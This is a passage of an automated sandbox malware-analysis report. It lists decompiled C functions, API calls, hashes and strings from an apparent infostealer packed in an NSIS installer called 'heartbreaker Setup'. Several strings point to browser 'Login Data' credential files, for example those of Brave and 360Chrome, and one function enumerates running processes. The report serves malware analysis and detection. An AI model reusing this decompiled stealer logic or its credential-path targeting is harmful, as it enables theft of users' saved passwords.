					_t27 = _t22;
					if(_t22 != 0) {
						_t27 = 1;
					} else {
						 *_t31 = _t24;
						E0041C416();
					}
					goto L8;
				}
				 *_t31 = _t26;
				goto L4;
			}

APIs

fopen.MSVCRT ref: 0041C5C3
fseek.MSVCRT ref: 0041C5E1
ftell.MSVCRT ref: 0041C5ED
fclose.MSVCRT ref: 0041C604

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfseekftell
String ID:
API String ID: 256789196-0
Opcode ID: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction ID: bcb064d2d33ab52115c011aa6cdc5be578be0ddba1a55773f7ee6e5998b39b7e
Opcode Fuzzy Hash: fbcd7f8cca2f724e403eeb8c4da471501aa33c75eb168f4f61c33f7ffa932136
Instruction Fuzzy Hash: F211A9B09083008FC710BF2AC9C439ABAE4EF44358F45547EE884CB306E779C8858B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402570, Relevance: 6.1, APIs: 4, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004025BF
Process32First.KERNEL32 ref: 004025DF
Process32Next.KERNEL32 ref: 00402614
CloseHandle.KERNEL32 ref: 0040261E

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction ID: dbb4d6dc22455ac6b6b4c8bb6317d27c69ec59bbf57194761826882fdadde184
Opcode Fuzzy Hash: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction Fuzzy Hash: EB1119B0409701AAD710AF15CA856AFFBE8EF80718F008D2FF4C893252D3B99485CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00407FC3, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

fgetpos.MSVCRT ref: 00407FE9
fflush.MSVCRT ref: 00408009
_filelengthi64.MSVCRT ref: 00408014
fsetpos.MSVCRT ref: 00408036

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _filelengthi64fflushfgetposfsetpos
String ID:
API String ID: 3378604764-0
Opcode ID: 5f1deec734a469d50075acdb6f3c09bf06809ba4cbfcd9c78d95f8229e1196b0
Instruction ID: 7f20a3f538c1e1996cb4a193f62903fdb6249973c6c490497f882466bb09f182
Opcode Fuzzy Hash: 5f1deec734a469d50075acdb6f3c09bf06809ba4cbfcd9c78d95f8229e1196b0
Instruction Fuzzy Hash: 5A010CB18087128BC710EF25958045BBBE4BE94364F51093FF8D0D3381E638D8899B97

Uniqueness

Uniqueness Score: -1.00%

Function 00406E04, Relevance: 6.0, APIs: 4, Instructions: 32fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00406E3D
GetFileAttributesW.KERNEL32 ref: 00406E48
SetFileAttributesW.KERNEL32 ref: 00406E62
DeleteFileW.KERNEL32 ref: 00406E6C

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Attributes$ByteCharDeleteMultiWide
String ID:
API String ID: 2001991581-0
Opcode ID: fd15abdbbf5f5b452ff235cde9c5fc4b4f27e3640605faa86648c091e64618a3
Instruction ID: e573b4bf2d7f4f29660dffdf4fc2874ff46e14c0fdf453928647ba00820039fc
Opcode Fuzzy Hash: fd15abdbbf5f5b452ff235cde9c5fc4b4f27e3640605faa86648c091e64618a3
Instruction Fuzzy Hash: E1F062F00093029AD710BF39C88525FBFE4AF40354F40892EF5D456282D73C85998B57

Uniqueness

Uniqueness Score: -1.00%

Function 004049CF, Relevance: 5.5, APIs: 4, Instructions: 475COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00404A2F
malloc.MSVCRT ref: 00404A5E
malloc.MSVCRT ref: 00404BBE
malloc.MSVCRT ref: 00404C36

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction ID: 218a957fe30f9a24676f57bd5ffca8317da6b6ab60db8c5874b423959f2b8a8b
Opcode Fuzzy Hash: 4275eca61013efc150f39e41d15500db4927c896ceb4f6f94b199140b28ff20a
Instruction Fuzzy Hash: F01260B05087608EC711AF62D84523ABBE0AFD5308F45497EE6D49B392EB7C8581CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD3F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0041DD3F() {
				unsigned int _t61;
				unsigned int _t64;
				intOrPtr _t73;
				intOrPtr* _t84;
				unsigned short _t89;
				intOrPtr _t99;
				intOrPtr* _t106;
				intOrPtr* _t107;
				intOrPtr* _t108;

				_t106 =  *((intOrPtr*)(_t107 + 0x80));
				if(_t106 != 0) {
					_t84 =  *((intOrPtr*)(_t106 + 0x48));
					if(_t84 == 0 ||  *((intOrPtr*)(_t106 + 0x14)) != 2) {
						goto L1;
					} else {
						_t61 =  *(_t106 + 0x10);
						if(_t61 > 0xffff) {
							goto L1;
						}
						 *((intOrPtr*)(_t107 + 0x34)) = 0;
						 *((intOrPtr*)(_t107 + 0x2c)) =  *((intOrPtr*)(_t106 + 4));
						_t99 =  *((intOrPtr*)(_t84 + 4));
						 *((intOrPtr*)(_t107 + 0x28)) =  *_t106;
						 *((intOrPtr*)(_t107 + 0x30)) = _t99;
						 *((intOrPtr*)(_t107 + 0x3c)) = _t99;
						asm("adc edi, 0x0");
						asm("adc ecx, [esp+0x34]");
						if( *((intOrPtr*)(_t107 + 0x2c)) > 0) {
							goto L1;
						}
						if(_t61 == 0) {
							 *((intOrPtr*)(_t107 + 0x30)) = 0;
							 *((intOrPtr*)(_t107 + 0x34)) = 0;
							 *((intOrPtr*)(_t107 + 0x28)) = 0;
							 *((intOrPtr*)(_t107 + 0x2c)) = 0;
							L10:
							memset(_t107 + 0x4a, 0, 0x16 << 0);
							_t108 = _t107 + 0xc;
							_t64 =  *(_t106 + 0x10);
							 *((char*)(_t108 + 0x4a)) = 0x50;
							 *((char*)(_t108 + 0x4b)) = 0x4b;
							 *((char*)(_t108 + 0x4c)) = 5;
							 *((char*)(_t108 + 0x4d)) = 6;
							 *(_t108 + 0x52) = _t64;
							 *(_t108 + 0x54) = _t64;
							_t89 = _t64 >> 8;
							 *(_t108 + 0x53) = _t89;
							 *(_t108 + 0x55) = _t89;
							E00414900(_t108 + 0x56,  *((intOrPtr*)(_t107 + 0x30)));
							E00414900(_t108 + 0x5a,  *((intOrPtr*)(_t108 + 0x28)));
							 *((intOrPtr*)(_t108 + 0x10)) = 0x16;
							 *((intOrPtr*)(_t108 + 0xc)) = _t108 + 0x4a;
							 *((intOrPtr*)(_t108 + 4)) =  *_t106;
							 *((intOrPtr*)(_t108 + 8)) =  *((intOrPtr*)(_t106 + 4));
							 *_t108 =  *((intOrPtr*)(_t106 + 0x44));
							if( *((intOrPtr*)(_t106 + 0x3c))() != 0x16) {
								goto L1;
							}
							_t73 =  *((intOrPtr*)(_t84 + 0x3c));
							if(_t73 != 0) {
								 *_t108 = _t73;
								if(fflush(??) + 1 != 0) {
									goto L12;
								}
								goto L1;
							}
							L12:
							 *_t106 =  *_t106 + 0x16;
							 *((intOrPtr*)(_t106 + 0x14)) = 3;
							asm("adc dword [ebp+0x4], 0x0");
							return 1;
						}
						 *((intOrPtr*)(_t106 + 8)) =  *((intOrPtr*)(_t107 + 0x28));
						 *((intOrPtr*)(_t106 + 0xc)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0x10)) =  *((intOrPtr*)(_t107 + 0x3c));
						 *((intOrPtr*)(_t107 + 8)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0xc)) =  *_t84;
						 *((intOrPtr*)(_t107 + 4)) =  *((intOrPtr*)(_t107 + 0x28));
						 *_t107 =  *((intOrPtr*)(_t106 + 0x44));
						if( *((intOrPtr*)(_t107 + 0x3c)) !=  *((intOrPtr*)(_t106 + 0x3c))()) {
							goto L1;
						}
						 *_t106 =  *_t106 +  *((intOrPtr*)(_t107 + 0x30));
						asm("adc [ebp+0x4], edx");
						goto L10;
					}
				}
				L1:
				return 0;
			}

Strings

K, xrefs: 0041DE3B
P, xrefs: 0041DE36

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction ID: 76b3f71e46e7dd39d433d4e4d553b0a2d3546f8e99cb6a452508f90fdc663846
Opcode Fuzzy Hash: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction Fuzzy Hash: 3F51C0B09083449FCB50CF29C58468BBBE1AF98318F54892EF8988B351E379D985CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00408218, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00408255
GetLocalTime.KERNEL32 ref: 0040825C

Strings

%.4d-%.2d-%.2d %.2d:%.2d:%.2d, xrefs: 00408267

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$LocalSystem
String ID: %.4d-%.2d-%.2d %.2d:%.2d:%.2d
API String ID: 1098363292-244208801
Opcode ID: 2c0d27171b227a626090942a01cb7e3bbf324c6d7aa291d0839ae4957e61f002
Instruction ID: 210422b194b1c769db9a9b51ef88a37ee0462c5d8974aa95260b86ae16cdeba8
Opcode Fuzzy Hash: 2c0d27171b227a626090942a01cb7e3bbf324c6d7aa291d0839ae4957e61f002
Instruction Fuzzy Hash: CC11F874809354AAC750DF26C54066FBBE4FB88B54F40882FF8C493241E73C9984DB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040A115, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040A13F

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 0040970C: GetLocalTime.KERNEL32 ref: 00409733
Part of subcall function 0040970C: CloseHandle.KERNEL32 ref: 0040979A
Part of subcall function 0040970C: MultiByteToWideChar.KERNEL32 ref: 0040982A
Part of subcall function 0040970C: CreateFileW.KERNEL32 ref: 00409865

Strings

%.2d-%.2d-%.4d, xrefs: 0040A14E
%s%s, xrefs: 0040A1AC

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: LocalTime$ByteCharCloseCreateFileHandleMultiWide_vsnprintf
String ID: %.2d-%.2d-%.4d$%s%s
API String ID: 1146952123-1875718462
Opcode ID: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction ID: 34f9120a3e00634d565d7763f47cba82c7014e7225e68866d6d8ccf2245a1495
Opcode Fuzzy Hash: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction Fuzzy Hash: FC11FAB4418311ABD710EF21D58426FBBE4BF84308F418D2EF8D89B281D7BC8985DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F80E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F81C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

%6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C, xrefs: 0040F821
APPDATA, xrefs: 0040F815

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C$APPDATA
API String ID: 4002788684-192518184
Opcode ID: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction ID: c59c0c3209b6e4d1d9f74c736156fada3f2d08805c64e01a6a820c6a221bf5be
Opcode Fuzzy Hash: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction Fuzzy Hash: D0F01CF44097019AC700BFA1E4C515EBBF0AF80348F41DC3FA0D89B282D77D84598B16

Uniqueness

Uniqueness Score: -1.00%

Function 0040F41E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F42C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F425
%6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F431

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-2519461285
Opcode ID: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction ID: f6734aec6350df2943a19c6392afeb0eac539fa0626ba44f4f6de0a19879264b
Opcode Fuzzy Hash: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction Fuzzy Hash: 26F01CF44093019AC710BFA5E4C515EBBF0AF80344F41DC3EA4D49B282DB7D84598B06

Uniqueness

Uniqueness Score: -1.00%

Function 0040F51F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F52D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F526
%6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F532

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-827255628
Opcode ID: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction ID: d8bafc2e13ae55d63e500dad1d8c1fea04f901a9aeaceac044b48453edd3ba1e
Opcode Fuzzy Hash: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction Fuzzy Hash: FFF01CF44093019AD700BFA5E4C515EBBF0AF80344F419C3FA0D49B282EB7D84588B0A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F21C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F22A

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F223
%6\EWWnid\PI0Wld\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F22F

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\EWWnid\PI0Wld\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-1794796215
Opcode ID: 5bee5a070fce172ca29abe6afa9d1e8e64787ffef9f8c53bf437cf9a90d30cd5
Instruction ID: fee5fc515d39af69c9f8d3fcc8fdcb17e76f4cbd20d980003c76639a252192be
Opcode Fuzzy Hash: 5bee5a070fce172ca29abe6afa9d1e8e64787ffef9f8c53bf437cf9a90d30cd5
Instruction Fuzzy Hash: F6F0F8B45093019AC700BFB2E48515EBBE0AF40344F419C3EA0D45B282DB7D84998B06

Uniqueness

Uniqueness Score: -1.00%

Function 0041328F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

NetWkstaGetInfo.NETAPI32 ref: 004132B1
NetApiBufferFree.NETAPI32 ref: 004132D8

Strings

f, xrefs: 00413296

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: BufferFreeInfoWksta
String ID: f
API String ID: 773480902-1993550816
Opcode ID: adce9d268615c65e9b031c2403f5ee47e1848614fcce32b1b10be943295c3ccf
Instruction ID: bf6d1e5e530aa92c88c9cb547170410969f3c4ca1d96cbd027a6ecb1b54c6bd2
Opcode Fuzzy Hash: adce9d268615c65e9b031c2403f5ee47e1848614fcce32b1b10be943295c3ccf
Instruction Fuzzy Hash: 19F0F8B45083018FC704EF25C185B5BBBE1BF88304F40886DE88487354D379D58ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040F31D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F32B

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F324
%6\PI0Wl4Ql\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F330

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\PI0Wl4Ql\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-499109468
Opcode ID: 2f3bc8e83f24dc031feb7a46af2e90c565f8f6f7ecf48976a05c6c06421c886c
Instruction ID: 5ef1ac02f39b0cfe132f74bc721b0ccfe63043329509729e5aaf0d5d1400366a
Opcode Fuzzy Hash: 2f3bc8e83f24dc031feb7a46af2e90c565f8f6f7ecf48976a05c6c06421c886c
Instruction Fuzzy Hash: 0AF01CB44093019AC710BFA2E48525EBBF0AF80345F41DC3EA4D45B282E77D84598B06

Uniqueness

Uniqueness Score: -1.00%

Function 0040F620, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F632

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F62B
%s\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 0040F637

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %s\BraveSoftware\Brave-Browser\User Data\Default\Login Data$LOCALAPPDATA
API String ID: 4002788684-1610204740
Opcode ID: a58b65df7a615735e6b402f170ae464e67c2c401e3c47f38dbc5baa4e1096a1c
Instruction ID: e52c2a3b6ed7b38a9aa3c7674bf17bed6b6036f98454ea6e8773de06e08e4b99
Opcode Fuzzy Hash: a58b65df7a615735e6b402f170ae464e67c2c401e3c47f38dbc5baa4e1096a1c
Instruction Fuzzy Hash: AFE0C9F44097059AC710BF62E48525ABBE0AF40348F419C3EA4D85B282D77D84598B17

Uniqueness

Uniqueness Score: -1.00%

Function 0040F717, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F729

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F722
%s\360Chrome\Chrome\User Data\Default\Login Data, xrefs: 0040F72E

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %s\360Chrome\Chrome\User Data\Default\Login Data$LOCALAPPDATA
API String ID: 4002788684-2701242320
Opcode ID: c9842bb51197c4e93d15a8246a4ed6a554dcf5233594f541126da16846b1f092
Instruction ID: 665d5e65072d6f456546477da389f3f909fca51d2561347a82566c02fca463e7
Opcode Fuzzy Hash: c9842bb51197c4e93d15a8246a4ed6a554dcf5233594f541126da16846b1f092
Instruction Fuzzy Hash: EAE0C9F44093019AD710BF72E58525ABBE0AF80748F41DC3EA4D85B282D77D84598B57

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ioldfli.exe PID: 7012 Parent PID: 3440 ioldfli.exeCOMMON

Executed Functions

Function 004030CB, Relevance: 70.3, APIs: 23, Strings: 17, Instructions: 270
filestringcomCOMMON

Download Yara Rule

C-Code - Quality: 83%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v396;
				int _v400;
				int _v404;
				CHAR* _v408;
				intOrPtr _v412;
				int _v416;
				intOrPtr _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				int _t56;
				signed int _t60;
				intOrPtr _t71;
				intOrPtr _t77;
				void* _t79;
				void* _t89;
				void* _t91;
				char* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				CHAR* _t105;
				signed int _t106;
				intOrPtr _t113;
				char _t120;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t99 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x423f38 = _t34;
				 *0x423e84 = E00405CFF(8);
				SHGetFileInfoA(0x41f430, 0,  &_v360, 0x160, 0); // executed
				E004059DD("heartbreaker Setup", "NSIS Error");
				_t39 = GetCommandLineA();
				_t96 = "\"C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa\\ioldfli.exe\" ";
				E004059DD(_t96, _t39);
				 *0x423e80 = GetModuleHandleA(0);
				_t42 = _t96;
				if("\"C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa\\ioldfli.exe\" " == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00429001;
				}
				_t44 = CharNextA(E004054FB(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t91 =  *_t44;
					_t109 = _t91;
					if(_t91 == 0) {
						break;
					}
					__eflags = _t91 - 0x20;
					if(_t91 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E004054FB(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000002;
									__eflags = _t99;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000004;
									__eflags = _t99;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								_t45 = _t44 + 2;
								__eflags = _t44 + 2;
								E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t45);
								L20:
								_t105 = "C:\\Users\\engineer\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t105);
								_t48 = E00403097(_t109);
								_t110 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C22(_t111, _t99); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										E0040344C();
										__imp__OleUninitialize();
										if(_v408 == 0) {
											__eflags =  *0x423f14; // 0x0
											if(__eflags != 0) {
												_t106 = E00405CFF(3);
												_t100 = E00405CFF(4);
												_t55 = E00405CFF(5);
												__eflags = _t106;
												_t97 = _t55;
												if(_t106 != 0) {
													__eflags = _t100;
													if(_t100 != 0) {
														__eflags = _t97;
														if(_t97 != 0) {
															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
